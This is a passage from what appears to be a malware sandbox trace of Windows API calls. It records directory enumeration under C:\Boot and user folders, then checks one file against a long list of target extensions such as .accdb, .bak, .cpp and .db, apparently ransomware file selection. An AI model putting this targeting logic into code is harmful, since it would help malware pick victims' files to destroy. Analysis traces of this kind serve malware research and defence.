nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b2dd8 [0043.097] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.097] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0043.097] FindClose (in: hFindFile=0x7b2dd8 | out: hFindFile=0x7b2dd8) returned 1 [0043.097] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a306d0 | out: hHeap=0x6c0000) returned 1 [0043.097] FindNextFileW (in: hFindFile=0x7b1d90, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0043.098] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a306d0 [0043.098] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b2dd8 [0043.098] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.098] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0043.098] FindClose (in: hFindFile=0x7b2dd8 | out: hFindFile=0x7b2dd8) returned 1 [0043.098] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a306d0 | out: hHeap=0x6c0000) returned 1 [0043.098] FindNextFileW (in: hFindFile=0x7b1d90, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0043.098] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a306d0 [0043.098] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b2dd8 [0043.098] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.098] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0043.098] FindClose (in: hFindFile=0x7b2dd8 | out: hFindFile=0x7b2dd8) returned 1 [0043.098] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a306d0 | out: hHeap=0x6c0000) returned 1 [0043.098] FindNextFileW (in: hFindFile=0x7b1d90, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0043.098] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a306d0 [0043.099] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b2dd8 [0043.099] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.099] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0043.099] FindClose (in: hFindFile=0x7b2dd8 | out: hFindFile=0x7b2dd8) returned 1 [0043.099] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a306d0 | out: hHeap=0x6c0000) returned 1 [0043.099] FindNextFileW (in: hFindFile=0x7b1d90, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0043.099] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a306d0 [0043.099] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b2dd8 [0043.099] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.099] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0043.099] FindClose (in: hFindFile=0x7b2dd8 | out: hFindFile=0x7b2dd8) returned 1 [0043.099] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a306d0 | out: hHeap=0x6c0000) returned 1 [0043.099] FindNextFileW (in: hFindFile=0x7b1d90, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0043.099] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a306d0 [0043.100] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b2dd8 [0043.100] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.100] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0043.100] FindClose (in: hFindFile=0x7b2dd8 | out: hFindFile=0x7b2dd8) returned 1 [0043.100] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x3a306d0 | out: hHeap=0x6c0000) returned 1 [0043.100] FindNextFileW (in: hFindFile=0x7b1d90, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0043.100] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x3a306d0 [0043.100] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7b2dd8 [0043.195] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.195] FindNextFileW (in: hFindFile=0x7b2dd8, lpFindFileData=0x350f808 | out: lpFindFileData=0x350f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0043.632] FindNextFileW (in: hFindFile=0x40020c8, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.632] FindNextFileW (in: hFindFile=0x40020c8, lpFindFileData=0x350fa84 | out: lpFindFileData=0x350fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 1 [0050.352] FindNextFileW (in: hFindFile=0x4002148, lpFindFileData=0x350f310 | out: lpFindFileData=0x350f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c1f0570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c1f0570, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.353] FindNextFileW (in: hFindFile=0x4002148, lpFindFileData=0x350f310 | out: lpFindFileData=0x350f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5fd1300, ftCreationTime.dwHighDateTime=0x1c8e623, ftLastAccessTime.dwLowDateTime=0x6c1f0570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc5fd1300, ftLastWriteTime.dwHighDateTime=0x1c8e623, nFileSizeHigh=0x0, nFileSizeLow=0x1fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendToOneNote-PipelineConfig.xml", cAlternateFileName="SENDTO~1.XML")) returned 1 [0050.353] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0050.353] lstrlenW (lpString=".3ds") returned 4 [0050.353] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0050.353] lstrlenW (lpString=".3fr") returned 4 [0050.353] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0050.353] lstrlenW (lpString=".3g2") returned 4 [0050.353] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0050.353] lstrlenW (lpString=".3gp") returned 4 [0050.353] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0050.353] lstrlenW (lpString=".7z") returned 3 [0050.353] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0050.353] lstrlenW (lpString=".accda") returned 6 [0050.353] lstrcmpiW (lpString1=".accda", lpString2="ig.xml") returned -1 [0050.353] lstrlenW (lpString=".accdb") returned 6 [0050.353] lstrcmpiW (lpString1=".accdb", lpString2="ig.xml") returned -1 [0050.353] lstrlenW (lpString=".accdc") returned 6 [0050.353] lstrcmpiW (lpString1=".accdc", lpString2="ig.xml") returned -1 [0050.353] lstrlenW (lpString=".accde") returned 6 [0050.353] lstrcmpiW (lpString1=".accde", lpString2="ig.xml") returned -1 [0050.353] lstrlenW (lpString=".accdt") returned 6 [0050.353] lstrcmpiW (lpString1=".accdt", lpString2="ig.xml") returned -1 [0050.353] lstrlenW (lpString=".accdw") returned 6 [0050.353] lstrcmpiW (lpString1=".accdw", lpString2="ig.xml") returned -1 [0050.353] lstrlenW (lpString=".adb") returned 4 [0050.353] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0050.353] lstrlenW (lpString=".adp") returned 4 [0050.353] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0050.353] lstrlenW (lpString=".ai") returned 3 [0050.353] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0050.354] lstrlenW (lpString=".ai3") returned 4 [0050.354] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0050.354] lstrlenW (lpString=".ai4") returned 4 [0050.354] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0050.354] lstrlenW (lpString=".ai5") returned 4 [0050.354] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0050.354] lstrlenW (lpString=".ai6") returned 4 [0050.354] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0050.354] lstrlenW (lpString=".ai7") returned 4 [0050.354] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0050.354] lstrlenW (lpString=".ai8") returned 4 [0050.354] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0050.354] lstrlenW (lpString=".anim") returned 5 [0050.354] lstrcmpiW (lpString1=".anim", lpString2="g.xml") returned -1 [0050.354] lstrlenW (lpString=".arw") returned 4 [0050.354] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0050.354] lstrlenW (lpString=".as") returned 3 [0050.354] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0050.354] lstrlenW (lpString=".asa") returned 4 [0050.354] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0050.354] lstrlenW (lpString=".asc") returned 4 [0050.354] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0050.354] lstrlenW (lpString=".ascx") returned 5 [0050.354] lstrcmpiW (lpString1=".ascx", lpString2="g.xml") returned -1 [0050.354] lstrlenW (lpString=".asm") returned 4 [0050.354] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0050.354] lstrlenW (lpString=".asmx") returned 5 [0050.354] lstrcmpiW (lpString1=".asmx", lpString2="g.xml") returned -1 [0050.354] lstrlenW (lpString=".asp") returned 4 [0050.354] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0050.354] lstrlenW (lpString=".aspx") returned 5 [0050.354] lstrcmpiW (lpString1=".aspx", lpString2="g.xml") returned -1 [0050.354] lstrlenW (lpString=".asr") returned 4 [0050.354] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0050.354] lstrlenW (lpString=".asx") returned 4 [0050.354] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0050.354] lstrlenW (lpString=".avi") returned 4 [0050.355] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0050.355] lstrlenW (lpString=".avs") returned 4 [0050.355] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0050.355] lstrlenW (lpString=".backup") returned 7 [0050.355] lstrcmpiW (lpString1=".backup", lpString2="fig.xml") returned -1 [0050.355] lstrlenW (lpString=".bak") returned 4 [0050.355] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0050.355] lstrlenW (lpString=".bay") returned 4 [0050.355] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0050.355] lstrlenW (lpString=".bd") returned 3 [0050.355] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0050.355] lstrlenW (lpString=".bin") returned 4 [0050.355] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0050.355] lstrlenW (lpString=".bmp") returned 4 [0050.355] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0050.355] lstrlenW (lpString=".bz2") returned 4 [0050.355] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0050.355] lstrlenW (lpString=".c") returned 2 [0050.355] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0050.355] lstrlenW (lpString=".cdr") returned 4 [0050.355] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0050.355] lstrlenW (lpString=".cer") returned 4 [0050.355] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0050.355] lstrlenW (lpString=".cf") returned 3 [0050.355] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0050.355] lstrlenW (lpString=".cfc") returned 4 [0050.355] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0050.355] lstrlenW (lpString=".cfm") returned 4 [0050.355] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0050.355] lstrlenW (lpString=".cfml") returned 5 [0050.355] lstrcmpiW (lpString1=".cfml", lpString2="g.xml") returned -1 [0050.355] lstrlenW (lpString=".cfu") returned 4 [0050.355] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0050.355] lstrlenW (lpString=".chm") returned 4 [0050.355] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0050.355] lstrlenW (lpString=".cin") returned 4 [0050.356] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0050.356] lstrlenW (lpString=".class") returned 6 [0050.356] lstrcmpiW (lpString1=".class", lpString2="ig.xml") returned -1 [0050.356] lstrlenW (lpString=".clx") returned 4 [0050.356] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0050.356] lstrlenW (lpString=".config") returned 7 [0050.356] lstrcmpiW (lpString1=".config", lpString2="fig.xml") returned -1 [0050.356] lstrlenW (lpString=".cpp") returned 4 [0050.356] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0050.356] lstrlenW (lpString=".cr2") returned 4 [0050.356] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0050.356] lstrlenW (lpString=".crt") returned 4 [0050.356] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0050.356] lstrlenW (lpString=".crw") returned 4 [0050.356] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0050.356] lstrlenW (lpString=".cs") returned 3 [0050.356] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0050.356] lstrlenW (lpString=".css") returned 4 [0050.356] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0050.356] lstrlenW (lpString=".csv") returned 4 [0050.356] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0050.356] lstrlenW (lpString=".cub") returned 4 [0050.356] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0050.356] lstrlenW (lpString=".dae") returned 4 [0050.356] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0050.356] lstrlenW (lpString=".dat") returned 4 [0050.356] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 [0050.356] lstrlenW (lpString=".db") returned 3 [0050.356] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0050.356] lstrlenW (lpString=".dbf") returned 4 [0050.356] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0050.356] lstrlenW 